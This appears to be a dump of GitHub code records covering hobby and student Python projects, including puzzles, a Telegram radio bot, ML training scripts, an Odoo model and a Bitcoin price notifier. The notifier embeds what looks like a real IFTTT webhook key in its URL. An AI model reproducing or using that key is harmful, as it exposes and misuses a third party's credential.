picked_cells = random.sample(\n Cell.all, settings.MINE_COUNT\n )\n \n for picked_cell in picked_cells:\n picked_cell.is_mine = True\n \n def __repr__(self): ### Step 10\n return f\"Cell({self.x}, {self.y})\"\n","repo_name":"Jiffy-JM/python-showroom","sub_path":"project-games/minesweeper/cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38362649752","text":"'''\nEvery evening villagers in a small village gather around a big fire and sing songs.\n\nA visitor to the community is the traveling minstrel. Every evening, if the minstrel is present, he sings a brand new song that no villager has heard before, and no other song is sung that night. In the event that the minstrel is not present, other villagers sing without him and exchange all songs that they know.\n\nGiven the list of villagers present for some number of consecutive evenings, you should calculate the total number of villagers that know all of the songs.\n\nFor example, let's say there are 5 villagers in the village, numbered 1, 2, 3, 4, and 5. Let's say the minstrel is represented by the number 0. Here's a record of each evening:\n\nEvening #\tAttendees\tWho knows all the songs\tReason\n1\t2, 4\t2, 4\t2 and 4 know all the songs\n2\t0, 1, 2\t2\tOnly 2 knows all the songs sung\n3\t1, 3, 4\t1, 2, 3, 4\t1 knows the song from evening 2, and four knows the songs from evening 1, sharing them they now know all the songs\n4\t1, 2\t1, 2, 3, 4\tNothing changes\n5\t0, 5\t\t5 now knows a new song that no one else knows and doesn't know any other songs\n6\t3, 5\t3, 5\t3 and 5 share their songs and now know all of them\nThe result is 2, just the villagers 3 and 5 know all of the songs.\n\nGiven the number of villagers num_villagers and a list of lists attendees_lists that record the attendees each evening, where 0 is the minstrel and all other numbers are the villagers, complete the function total_song_knowers to calculate the total number of villagers that know all the songs.\n\noutput: total # of villagers who know all of the songs\n'''\n\ndef total_song_knowers(num_villagers, attendees_lists):\n villagers = {}\n song_list = []\n current_song = \"a\"\n\n # create villagers based on num_villagers\n for num in range(1, num_villagers+1):\n villagers[num] = []\n\n for attendees in attendees_lists:\n if 0 in attendees:\n # create a new song\n current_song = chr(ord(current_song) + 1)\n # add song to list\n song_list.append(current_song)\n # pass song to other attendees\n for villager in attendees:\n if not villager == 0:\n villagers[villager].append(current_song)\n else:\n # iterate over the current attendees and create a common song set\n common_songs = set()\n for villager in attendees:\n common_songs.update(villagers[villager])\n\n # iterate again over the present villagers and make sure they have the whole song set\n for villager in attendees:\n villagers[villager] = list(common_songs)\n\n # count the number of villagers who have same length songs as the song_list\n return len(list(filter(lambda item: len(song_list) == len(villagers[item]), villagers)))\n\nnum1 = 3\ndata1 = [[0, 1], [1, 2, 3], [3, 1, 0]]\n\nnum2 = 4\ndata2 = [[0, 2], [1, 0], [1, 0, 3, 4]]\n\nnum3 = 7\ndata3 = [[0, 2, 4, 3], [4, 5], [5, 6, 7], [5, 1], [1, 5, 7, 0]]\n\nresult = total_song_knowers(num1, data1)\nprint(result)","repo_name":"DennieCodes/python-exploration","sub_path":"python-functions/total_song_knowers.py","file_name":"total_song_knowers.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"5953787814","text":"# /app/models/learning_module_model.py\n\n\nfrom datetime import datetime\nfrom bson.objectid import ObjectId\nimport logging\n\nfrom pymongo import UpdateOne\nfrom mongoengine import signals\nfrom flask import current_app\nfrom mongoengine import (EmbeddedDocument, Document, fields)\n\n\nclass SliderElement(EmbeddedDocument):\n url = fields.StringField()\n description = fields.StringField(max_length=71)\n type = fields.StringField(max_length=1)\n\n\nclass Image(EmbeddedDocument):\n image = fields.StringField(required=True)\n description = fields.StringField(required=True, max_length=56)\n\n\nclass Quiz(EmbeddedDocument):\n id = fields.ObjectIdField()\n question = fields.StringField(required=True, max_length=116)\n optionA = fields.StringField(required=True, max_length=132)\n optionB = fields.StringField(required=True, max_length=132)\n optionC = fields.StringField(required=True, max_length=132)\n optionD = fields.StringField(required=True, max_length=132)\n correctOption = fields.StringField(required=True)\n createdAt = fields.DateTimeField(default=datetime.utcnow)\n updatedAt = fields.DateTimeField(default=datetime.utcnow)\n\n def clean(self):\n self.updatedAt = datetime.utcnow()\n if not self.id:\n self.id = ObjectId()\n\n\nclass LearningModule(Document):\n name = fields.StringField(required=True, unique_c=True, max_length=60)\n title = fields.StringField(required=True, max_length=140)\n description = fields.StringField(required=True, max_length=2800)\n secondaryTitle = fields.StringField(null=True, max_length=140)\n secondaryDescription = fields.StringField(null=True, max_length=4970)\n objectives = fields.ListField(\n fields.StringField(max_length=873), required=True)\n slider = fields.EmbeddedDocumentListField(SliderElement, max_length=4)\n images = fields.EmbeddedDocumentListField(Image, max_length=6)\n duration = fields.IntField(required=True, min_value=0)\n quizzes = fields.EmbeddedDocumentListField(\n Quiz, required=True, max_length=15)\n priority = fields.IntField(null=True)\n isDeleted = fields.BooleanField(default=False)\n createdAt = fields.DateTimeField(default=datetime.utcnow)\n updatedAt = fields.DateTimeField(default=datetime.utcnow)\n meta = {'collection': 'learning_modules', 'ordering': ['priority']}\n\n def clean(self):\n self.updatedAt = datetime.utcnow()\n\n def reorderPriority(self, type):\n \"\"\"\n Reorder priority when insert a new module or\n update a priority or delete a module. \n Params: \n priority: int value of priority to search\n type: str 'add' if order above priority, 'sub' order below\n\n \"\"\"\n\n modules = self.__class__.objects(\n isDeleted=False,\n id__ne=self.pk,\n priority__gte=self.priority\n ).order_by('priority')\n\n count = self.priority\n bulk_operations = []\n for module in modules:\n if type == \"add\":\n count += 1\n module.priority = count\n else:\n module.priority = count\n count += 1\n\n bulk_operations.append(\n UpdateOne({'_id': module.id}, {'$set': module.to_mongo().to_dict()}))\n if bulk_operations:\n self.__class__._get_collection() \\\n .bulk_write(bulk_operations, ordered=False)\n\n @classmethod\n def pre_save(cls, sender, document, **kwargs):\n if not document.priority:\n lastModule = document.__class__.objects(isDeleted=False).only(\n 'priority').order_by('-priority').first()\n if lastModule:\n document.priority = lastModule.priority + 1\n else:\n document.priority = 1\n if document.id:\n oldDocument = document.__class__.objects.get(id=document.id)\n if document.priority != oldDocument.priority and not document.isDeleted:\n document.reorderPriority('add')\n elif document.isDeleted and document.isDeleted != oldDocument.isDeleted:\n document.reorderPriority(\"sub\")\n\n @classmethod\n def post_save(cls, sender, document, **kwargs):\n from app.models.coordinator_user_model import CoordinatorUser\n from app.models.project_model import Project\n if 'created' in kwargs and kwargs['created']:\n document.reorderPriority(\"add\")\n CoordinatorUser.objects(\n isDeleted=False,\n instructed=True, status__in=(\"2\", \"3\")\n ).update(set__instructed=False, set__status=\"1\")\n CoordinatorUser.objects(\n isDeleted=False,\n instructed=True\n ).update(set__instructed=False)\n\n else:\n if document.isDeleted:\n CoordinatorUser.objects(\n isDeleted=False,\n learning__moduleId=document.id\n ).update(pull__learning__moduleId=document.id)\n\n def evaluate(self, answers):\n \"\"\"\n Check if the answers given are incorrects \n answers : {'quizId':str, 'option':str(1-4)}\n\n Return all incorrects answers\n Otherwise return false\n \"\"\"\n incorrectAnswers = []\n for quiz in self.quizzes:\n found = False\n for answer in answers:\n if str(quiz.id) == str(answer.quizId):\n found = True\n if quiz.correctOption != answer.option:\n incorrectAnswers.append(str(answer.quizId))\n if not found:\n incorrectAnswers.append(str(quiz.id))\n if not incorrectAnswers:\n return {\"approved\": True}\n else:\n return {\"approved\": False, \"incorrectAnswers\": incorrectAnswers}\n\n\nsignals.post_save.connect(LearningModule.post_save, sender=LearningModule)\nsignals.pre_save.connect(LearningModule.pre_save, sender=LearningModule)\n","repo_name":"amblemaorg/amblema---backend","sub_path":"app/models/learning_module_model.py","file_name":"learning_module_model.py","file_ext":"py","file_size_in_byte":5973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11003272895","text":"from pyrogram import Client, filters, emoji\nfrom pyrogram.types import Message\nfrom utils import mp, RADIO, USERNAME\nfrom config import Config, STREAM\n\nCHAT=Config.CHAT\nADMINS=Config.ADMINS\nLOG_GROUP=Config.LOG_GROUP\n\n\n@Client.on_message(filters.command([\"radio\", f\"radio@{USERNAME}\"]) & filters.user(ADMINS) & (filters.chat(CHAT) | filters.private | filters.chat(LOG_GROUP)))\nasync def radio(client, message: Message):\n if 1 in RADIO:\n k=await message.reply_text(f\"{emoji.ROBOT} **Please Stop Existing Radio Stream!**\")\n await mp.delete(k)\n await message.delete()\n return\n await mp.start_radio()\n k=await message.reply_text(f\"{emoji.CHECK_MARK_BUTTON} **Radio Stream Started :** \\n{STREAM}\")\n await mp.delete(k)\n await mp.delete(message)\n\n@Client.on_message(filters.command([\"stopradio\", f\"stopradio@{USERNAME}\"]) & filters.user(ADMINS) & (filters.chat(CHAT) | filters.private | filters.chat(LOG_GROUP)))\nasync def stop(_, message: Message):\n if 0 in RADIO:\n k=await message.reply_text(f\"{emoji.ROBOT} **Please Start A Radio Stream First!**\")\n await mp.delete(k)\n await mp.delete(message)\n return\n await mp.stop_radio()\n k=await message.reply_text(f\"{emoji.CROSS_MARK_BUTTON} **Radio Stream Ended Successfully!**\")\n await mp.delete(k)\n await mp.delete(message)\n","repo_name":"akashmx22/RadioPlayer_V3","sub_path":"plugins/radio.py","file_name":"radio.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"1817270079","text":"\"\"\" ライブラリ読込 \"\"\"\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\nfrom sklearn import datasets\r\nfrom sklearn.model_selection import train_test_split\r\nfrom datasets import load_dataset\r\n\"\"\" GPU設定 \"\"\"\r\n# GPUが利用できる場合はGPUを利用し、利用不可の場合はCPUを利用するための記述\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\n\"\"\" (1)データの準備 \"\"\"\r\niris=datasets.load_iris()\r\n#iris=load_dataset(\"csv\",data_files=[\"date/result/result.csv\",\"sample.csv\"])#pandasにあるデータを使用\r\nX=iris.data.astype(np.float32)\r\nY=iris.target.astype(np.int64)\r\nX_train,X_test,Y_train,Y_test=train_test_split(X,Y,test_size=0.25,random_state=3)#test_sizeは全体のn%を利用して行う,random_stateはランダムなデータを固定化して偏りをなくす\r\nX_train,X_test,Y_train,Y_test=torch.from_numpy(X_train).to(device),torch.from_numpy(X_test).to(device),torch.from_numpy(Y_train).to(device),torch.from_numpy(Y_test).to(device)\r\n#学習データの説明変数\r\n#X_train.shape=[105,4],Y=///[105]\r\nprint(X_train[:3])\r\n\r\n\r\n\r\n\r\n\"\"\" (2)モデルクラスの登録 \"\"\"\r\n# nnクラスの関数(初期設定)を下記に記述\r\nclass lrisModel(nn.Module):\r\n \r\n # ユニット・層の数・活性化関数等ニューラルネットワークの模型となるものを下記に記述\r\n def __init__(self):\r\n super(lrisModel, self).__init__()\r\n self.model_info=nn.ModuleList([\r\n nn.Linear(4,6),nn.Sigmoid(),nn.Linear(6,3),\r\n ])\r\n #nn.linear(in_features, out_features, bias=True)\r\n #in各入力サンプルのサイズのこと\r\n # 順方向の計算処理の流れを下記に記述\r\n def forward(self,x):\r\n for i in range(len(self.model_info)):\r\n x=self.model_info[i](x)\r\n return x\r\n #ここに画像の下処理を行う関数を加える\r\n \r\n \r\n\"\"\" (3)モデルとパラメータ探索アルゴリズムの設定 \"\"\"\r\nmodel = lrisModel().to(device) # モデルのインスタンス\r\noptimizer =optim.SGD(model.parameters(),lr=0.05) # パラメータ探索アルゴリズム\r\ncriterion = nn.CrossEntropyLoss() # 損失関数\r\n\r\n\r\n\r\n\"\"\" (4)モデル学習 \"\"\"\r\ndata_size=len(X_train)\r\nprint(len(X_train))\r\nmini_batch=int(data_size*3/4)\r\nrepeat = 1500 # 学習回数を設定(整数)\r\n\r\nfor epoch in range(repeat):\r\n dx=np.random.permutation(data_size)\r\n for num in range(0,data_size,mini_batch): \r\n ex_var = X_train[dx[num:(num+mini_batch)if (num+mini_batch) arr_y[j]: # checks if the left element is greater \n arr_z.append(arr_y[j]) # then adds the right array element in the new array\n j += 1 # increases the index of the right array\n else:\n arr_z.append(arr_x[i]) # adds the left array element in the new array\n i += 1 # increases the index of the left array\n \n arr_z.extend(arr_x[i:])\n arr_z.extend(arr_y[j:])\n\n return arr_z\n\n\ndef main():\n import random\n import time\n\n arrInt = []\n i = 1000\n\n while i > 0:\n value = random.randint(1,10000)\n arrInt.append(value)\n i -= 1\n start_time = time.time()\n unsorted = arrInt\n sorted = mergesort(unsorted)\n # print(\"Sorted array: \", sorted)\n\n print(\"It took {}\".format(time.time() - start_time),\"Seconds\")\n\nmain()\n\n ","repo_name":"CelestineAkpanoko/Data-Structures-and-Algorithms","sub_path":"merge-sort.py","file_name":"merge-sort.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24454370412","text":"import requests\nimport time\nfrom datetime import datetime\n\n\nbtc_api = \"https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd\"\nifttt = \"https://maker.ifttt.com/trigger/{}/with/key/9d6Vsf4-9U2d3bIm2l8yr\"\n\ndef getBtcPrice():\n\tbtc_response = requests.get(btc_api).json()\n\tbtc_price = btc_response[\"bitcoin\"][\"usd\"]\n\treturn btc_price\n\ndef sendWebhook(event, value):\n\tdata = {'value1': value}\n\tifttt_url = ifttt.format(event)\n\trequests.post(ifttt_url, json=data)\n\ndef formPrice(btc_history):\n\trows = []\n\tfor bp in btc_history:\n\t\tdate = bp[\"date\"].strftime(\"%d.%m.%Y.%H.%M\")\n\t\tprice = bp[\"price\"]\n\t\trow = \"{}: ${}\".format(date, price)\n\t\trows.append(row)\n\n\treturn \"
\".join(rows)\n\nbtc_min_price = 10000\n\ndef main():\n\tbtc_history = []\n\twhile True:\n\t\tprice = getBtcPrice()\n\t\tdate = datetime.now()\n\t\tnotification = btc_history.append({'date':date, 'price':price})\n\n\t\tif price < btc_min_price:\n\t\t\tsendWebhook(\"btc\",price)\n\n\t\tif len(btc_history) == 5:\n\t\t\tsendWebhook(\"btc_update\", formPrice(btc_history))\n\t\t\tbtc_history = []\n\n\t\ttime.sleep()\n\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n","repo_name":"cernajs/cryptoprice","sub_path":"cprice.py","file_name":"cprice.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18887469390","text":"from dash import html, dcc\nfrom dash.dependencies import Input, Output, State\nimport rich\n\nfrom .. import ctrl_class\nfrom ... cruncher.datamanager import DataManager\n\ndef return_obj(dash_app, engine, storage):\n\n ctrl_id = \"05_file_select_ctrl\"\n\n ctrl_div = html.Div([\n html.Div([\n html.Label(\"Select a Data File: \",style={\"fontSize\":\"12px\"}),\n html.Div([\n \n dcc.Dropdown(placeholder=\"Data File\",\n id=\"file_select_ctrl\"\n ),\n dcc.Store(\"file_storage_id\")\n ],style={\"marginBottom\":\"1.0em\"})])],id=ctrl_id)\n\n ctrl = ctrl_class.ctrl(\"file_select\", ctrl_id, ctrl_div, engine)\n ctrl.add_ctrl(\"04_partition_run_select_ctrl\")\n\n init_callbacks(dash_app, engine)\n return(ctrl)\n\ndef init_callbacks(dash_app, engine):\n\n @dash_app.callback(\n Output('file_select_ctrl', 'options'),\n Input('run_storage_id', 'data')\n )\n \n def update_select(stored_value):\n\n if not stored_value:\n return []\n options = [{'label':str(n), 'value':str(n)} for n in stored_value]\n return(options)\n \n @dash_app.callback(\n Output('file_storage_id', 'data'),\n Input('file_select_ctrl', 'value'),\n State('run_storage_id', 'data')\n )\n \n def store_subset(selection, parent_stored_value):\n if not selection:\n return {}\n \n rich.print(\"Data File Selection:\",selection)\n\n return(selection)","repo_name":"DUNE-DAQ/justintime","sub_path":"src/justintime/controls/content/05_file_select_ctrl.py","file_name":"05_file_select_ctrl.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34038022748","text":"# 정수 제곱근 판별\n# https://programmers.co.kr/learn/courses/30/lessons/12934\n\ndef solution(n):\n answer = -1\n x = n**(1/2)\n \n if (x-int(x) == 0) and (x > 0):\n answer = int((x+1)**2)\n return print(answer)\n else:\n return print(answer)\n\n\n# n = 121\nn = 3\n# solution(n)\n\n\n# 다른 사람 풀이1\ndef solution1(n):\n import math\n num = math.sqrt(n)\n\n if math.sqrt(n) == int(math.sqrt(n)) :\n return pow(num+1, 2)\n\n return -1\n\n\n# 다른 사람 풀이2\ndef solution2(n):\n sqrt = n ** (1/2)\n if sqrt % 1 == 0:\n return (sqrt + 1) **2\n return -1\n\n# print(solution2(n))\n\n# 다른 사람 풀이3\nimport math\n\ndef solution3(n):\n x = math.sqrt(n)\n if x % 1 == 0:\n answer = (x+1)**2\n else:\n answer = -1\n return answer\n\n\n\n# 다른 사람 풀이 리뷰:\n# 알고리즘은 라이브러리를 import하지 않고 푸는 문제인 줄 알았다. \n# 그동안 왜 라이브러리를 쓰면 안된다고 생각했을까.. 고생했던 내 자신이 넘나 한탄스럽,,\n# 나눗셈은 항상 실수형으로 떨어지길래 정수값인지 아닌지 어떻게 판별해야할 지 감이 안왔다.\n# 나중에 리뷰보고 % 1을 쓰면 되는 엄청 간단한 풀이가 있음을 깨닫고 우둔한 내 머리를 탓했다.\n# 그리고 pow()함수라는 게 있음을 처음 알았다. 역시 파이썬 문법 마스터는 갈 길이 멀다\n","repo_name":"metaego/96.Algorithm_Lv1","sub_path":"basic01/intSqurRoot.py","file_name":"intSqurRoot.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37986046975","text":"import pandas as pd\nimport sklearn\nimport sys\n\nfrom IPython.display import display, clear_output\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.metrics import mean_squared_log_error\nfrom sklearn.metrics import r2_score\n\n\ndef model(X, y, test_X, test_y, **kwargs):\n \"\"\"Return predicted values, r squared, and mean squared log error.\"\"\"\n if kwargs.get('hyperparams', False):\n kwargs = kwargs['hyperparams']\n regressor = RandomForestRegressor(\n n_estimators=kwargs['n_estimators'],\n criterion=kwargs['criterion'],\n max_depth=kwargs['max_depth'],\n max_features=kwargs['max_features'],\n bootstrap=kwargs['bootstrap'],\n warm_start=kwargs['warm_start'],\n ccp_alpha=kwargs['ccp_alpha']\n )\n else:\n regressor = RandomForestRegressor(**kwargs)\n regressor.fit(X, y)\n y_pred = regressor.predict(test_X)\n r2 = None if test_y is None else r2_score(y_pred, test_y)\n mse = None if test_y is None else mean_squared_log_error(y_pred, test_y)\n return y_pred, r2, mse\n\ndef validate_generation(X, y, test_X, test_y, categ,feature):\n r2divmsle = 0\n critical = None\n for value in feature:\n if categ == 'n_estimators':\n _, r2, mse = model(X, y, test_X, test_y, n_estimators=value)\n elif categ == 'criterion':\n _, r2, mse = model(X, y, test_X, test_y, criterion=value)\n elif categ == 'max_depth':\n _, r2, mse = model(X, y, test_X, test_y, max_depth=value)\n elif categ == 'max_features':\n _, r2, mse = model(X, y, test_X, test_y, max_features=value)\n elif categ == 'bootstrap':\n _, r2, mse = model(X, y, test_X, test_y, bootstrap=value)\n elif categ == 'warm_start':\n _, r2, mse = model(X, y, test_X, test_y, warm_start=value)\n elif categ == 'ccp_alpha':\n _, r2, mse = model(X, y, test_X, test_y, ccp_alpha=value)\n div = r2 / mse\n if div > r2divmsle:\n critical = value\n return critical\n\ndef validate_model(X, y, test_X, test_y):\n \"\"\"This module finds out the best model generated from the data provided\n and returns the model, validated rsquared score, hyper parameters,\n and mean squared log error measure for validation data set.\n \"\"\"\n print('Initiating parameter tuning')\n\n features = len(X.columns)\n n_estimators = [1, 10, 50, 100, 150, 300, 500]\n criterion = ['mse', 'mae']\n max_depth = [None, features, 10, 20, 30, 50, 50, 100]\n max_features = ['auto', 'sqrt', 'log2']\n bootstrap = [True, False]\n warm_start = [True, False]\n ccp_alpha = [0, 0.001, 0.01, 0.03, 0.05, 0.1, 1, 10]\n\n display('Tuning n_estimators... 1 / 7')\n clear_output(wait=True)\n # n_estimators\n nest = validate_generation(X, y, test_X, test_y, 'n_estimators', n_estimators)\n\n display('Tuning criterion... 2 / 7')\n clear_output(wait=True)\n # criterion\n crit = validate_generation(X, y, test_X, test_y, 'criterion', criterion)\n\n display('Tuning max_depth... 3 / 7')\n clear_output(wait=True)\n # max_depth\n max_d = validate_generation(X, y, test_X, test_y, 'max_depth', max_depth)\n\n display('Tuning max_features... 4 / 7')\n clear_output(wait=True)\n # max_features\n max_f = validate_generation(X, y, test_X, test_y, 'max_features', max_features)\n\n display('Tuning bootstrap... 5 / 7')\n clear_output(wait=True)\n # bootstrap\n boot = validate_generation(X, y, test_X, test_y, 'bootstrap', bootstrap)\n\n display('Tuning warm_start... 6 / 7')\n clear_output(wait=True)\n # warm_start\n ws = validate_generation(X, y, test_X, test_y, 'warm_start', warm_start)\n\n display('Tuning ccp_alpha... 7 / 7')\n clear_output(wait=True)\n # ccp_alpha\n ccp = validate_generation(X, y, test_X, test_y, 'ccp_alpha', ccp_alpha)\n\n print('Generating Model... Please wait')\n\n y_pred, r2, mse = model(X, y, test_X, test_y, n_estimators=nest, criterion=crit,\n max_depth=max_d, max_features=max_f, bootstrap=boot,\n warm_start=ws, ccp_alpha=ccp)\n print('Model Rendered')\n\n hypers = {\n 'n_estimators': nest,\n 'criterion': crit,\n 'max_depth': max_d,\n 'max_features': max_f,\n 'bootstrap': boot,\n 'warm_start': ws,\n 'ccp_alpha': ccp\n }\n\n return pd.DataFrame({'SalePrice': y_pred}), r2, mse, hypers","repo_name":"kidrahahjo/House-Price-Prediction","sub_path":"Models/random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72532661146","text":"\nmiembros = []\n\nwhile True:\n # Mostrar menú de opciones\n print(\"Menú de opciones:\")\n print(\"1. Agregar un nuevo miembro\")\n print(\"2. Mostrar la informacion de todos los miembros\")\n print(\"3. Actualizar el tipo de membresía de un miembro\")\n print(\"4. Buscar información de un miembro\")\n print(\"5. Calcular el promedio de edad de los miembros\")\n print(\"6. Buscar el miembro más joven y el más viejo\")\n print(\"0. Salir del programa\")\n opcion = input(\"\\nIngrese la opción deseada: \")\n \n # Opción 1: Agregar un nuevo miembro\n if opcion == \"1\":\n id = int(input(\"Ingrese el número de identificación del \"\n \"nuevo miembro: \"))\n nombre = input(\"Ingrese el nombre del nuevo miembro: \")\n edad = int(input(\"Ingrese la edad del nuevo miembro: \"))\n membresia_opcion = int(input(\"Ingrese el tipo de membresía: \"\n \"1 para (anual) o 2 para (mensual) \"))\n membresia = \"mensual\"\n if membresia_opcion == 1:\n membresia = \"anual\"\n \n nuevo_miembro = {'id': id, 'nombre': nombre,\n 'edad': edad, 'membresia': membresia}\n miembros.append(nuevo_miembro)\n print(\"El nuevo miembro ha sido agregado exitosamente.\")\n\n # Opción 2: Mostrar la informacion de todos los miembros\n elif opcion == \"2\":\n print(\"Nro ID.\\tNombre\\tEdad\\tTipo membresia\")\n \n for miembro in miembros:\n print(\"{0}\\t {1} \\t {2} \\t {3}\"\n .format(miembro['id'], miembro['nombre'], miembro['edad'],\n miembro['membresia']))\n \n # Opción 3: Actualizar el tipo de membresía de un miembro\n elif opcion == \"3\":\n id = int(input(\"Ingrese el número de identificación : \"))\n # Busqueda por id \n indice_encontrado = -1\n for i in range(len(miembros)):\n if miembros[i]['id'] == id:\n indice_encontrado = i\n break\n \n\n if indice_encontrado != -1:\n membresia_opcion = int(input(\"Ingrese el tipo de membresía: \"\n \"1 para (anual) o 2 para (mensual) \"))\n membresia_nueva = \"mensual\"\n if membresia_opcion == 1:\n membresia_nueva = \"anual\"\n miembros[indice_encontrado]['membresia'] = membresia_nueva\n print(\"La membresía del miembro ha sido actualizada exitosamente.\")\n \n else:\n print(\"No se ha encontrado ningún miembro con el número de \"\n \"identificación ingresado.\")\n \n # Opción 4: Buscar información de un miembro\n elif opcion == \"4\":\n id = int(input(\"Ingrese el número de identificación : \"))\n # Busqueda por id \n indice_encontrado = False\n for miembro in miembros:\n if miembros[i]['id'] == id:\n print(\"Nombre:\", miembro['nombre'])\n print(\"Edad:\", miembro['edad'])\n print(\"Tipo de membresía:\", miembro['membresia'])\n indice_encontrado = True\n break\n \n if indice_encontrado != True:\n print(\"No se ha encontrado ningún miembro con el número de \"\n \"identificación ingresado.\")\n \n # Opción 5: Calcular el promedio de edad de los miembros\n elif opcion == \"5\":\n cantidad_edades = len(miembros)\n total_edades = 0\n \n for miembro in miembros:\n total_edades += miembro['edad']\n \n promedio = total_edades / cantidad_edades\n print(\"El promedio de edades es : {0}\".format(promedio))\n \n # Opción 6: Buscar el miembro más joven y el más viejo\n elif opcion == \"6\":\n \n edad_mas_joven = miembros[0]['edad']\n edad_mas_vieja =miembros[0]['edad']\n \n for miembro in miembros:\n if miembro['edad'] < edad_mas_joven:\n edad_mas_joven = miembro['edad']\n if miembro['edad'] > edad_mas_vieja:\n edad_mas_vieja = miembro['edad']\n \n print(\"La edad más joven es:\", edad_mas_joven)\n print(\"La edad más vieja es:\", edad_mas_vieja)\n\n # Opcion 0: Salir\n elif opcion == \"0\":\n break\n \n else:\n print(\"Opción inválida. Intente de nuevo.\")\n","repo_name":"alexisaranda1/progra_labo_01_py","sub_path":"Progra_labo _I/6_integradores/ejercicio_integrador_02.py","file_name":"ejercicio_integrador_02.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15481063030","text":"from odoo import models, fields\n\n\nclass Workflow(models.Model):\n _inherit = 'project.workflow'\n\n def get_available_transitions(self, task, state):\n transitions = super(Workflow, self).get_available_transitions(\n task, state\n )\n task_types = frozenset([task.type_id.id])\n return [\n x\n for x in transitions\n if not (x.task_type_ids and\n task_types.isdisjoint(x.task_type_ids.ids)\n )\n ]\n\n\nclass WorkflowTransition(models.Model):\n _inherit = 'project.workflow.transition'\n\n task_type_ids = fields.Many2many(\n comodel_name='project.task.type2',\n column1='transition_id',\n column2='type_id',\n relation='project_workflow_transition_task_type_rel',\n string='Task Types'\n )\n","repo_name":"modoolar/project-agile","sub_path":"project_agile_workflow_transitions_by_task_type/models/project_workflow.py","file_name":"project_workflow.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"24773931749","text":"\"\"\"\nRead an integer number that is the code number for phone dialing. \nThen, print the destination according to the following table\n\"\"\"\n\n\ndict = {61: 'Brasilia',\n 11: 'São Paulo',\n 71: 'Salvador',\n 32: 'Juiz de Fora',\n 27: 'Vitoria',\n 31: 'Belo Horizonte',\n 21: 'Rio de Janeiro',\n 19: 'Campinas',\n }\nwhile True:\n n = int(input())\n\n if n:\n print(dict[n])\n else:\n print('ddd não encontrado')\n","repo_name":"robertomacedo/exerciciosuri","sub_path":"ddd1050.py","file_name":"ddd1050.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71319129308","text":"# ## hint: its a good point to use file as json\t \r\n# System for grocerry shop\r\n# apple[40] -bannaa[30] -cherry[70]\r\n# user take 3 - 2 - 10\r\n# shop 37 28 60\r\n# Cost 3*15 -\r\n\r\n# #Welcome to ITI Shop\r\n\t# 1- Owner\r\n\t# 2- user\r\n\t# 3- exit\r\n\t# Select Mode For customer press 1 , for owner press two , to exist press 0 : \r\n\r\n# - Customer\r\n # - To show our products \t\t\t\tpress 1 ---> products & cost\r\n # - To Buy from our products \t\t\tpress 2 \t---> Able to buy\r\n # - to print the bill \t\t\t\t\tpress 3\r\n# - to exist press 0\r\n# - ITI OWNER\r\n # - Add new products press 1\r\n # - Show Products press 2\r\n # - Add Cost\t\t\t press 3\r\n # - Change cost\t\t\t press 4\r\n# - to exist press 0\r\nprint(\"----------Welcome in grocerry shop----------\")\r\npassword_list = [\"2022\",'g2']\r\nProducts_dic={\r\n\t\t\"Apple\" :[40.0,25.0], #[Quantity(kg):Price(L.E)]\r\n\t\t\"Bannaa\":[30.0,20.0],\r\n\t\t\"Cherry\":[70.0,30.0]\r\n}\r\nCustomer_Products_dic={\r\n\t\t\t\"Customer_product\":[\"Quantity\"]\r\n}\r\ncost=0\r\n#Main loop\r\nwhile True:\r\n\tprint (\"Modes:\")\r\n\tprint (\"'1'for Owner\")\r\n\tprint (\"'2'for user\")\r\n\tprint (\"'3'for exit\")\r\n\twhile True:\r\n\t\ttry:\r\n\t\t\tmode =int(input (\"Please input mode : \"))\r\n\t\t\tbreak\r\n\t\texcept:\r\n\t\t\tprint (\"Enter Valid Number\")\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#input mode \r\n\tif mode == 1:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#owner_mode\r\n\t\tpassword=input (\"Please enter your password:\") \t\t\t\t\t\t\t\t\t\t\t\t#input Password\r\n\t\tif password in password_list:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#check password\r\n\t\t\twhile True:\r\n\t\t\t\tprint (\"----------Welcome ITI Owner----------\")\r\n\t\t\t\tprint (\"Owner Modes:\")\r\n\t\t\t\tprint (\"press '1' for Add new products\")\r\n\t\t\t\tprint (\"press '2' for Show Products\")\r\n\t\t\t\tprint (\"press '3' for Change 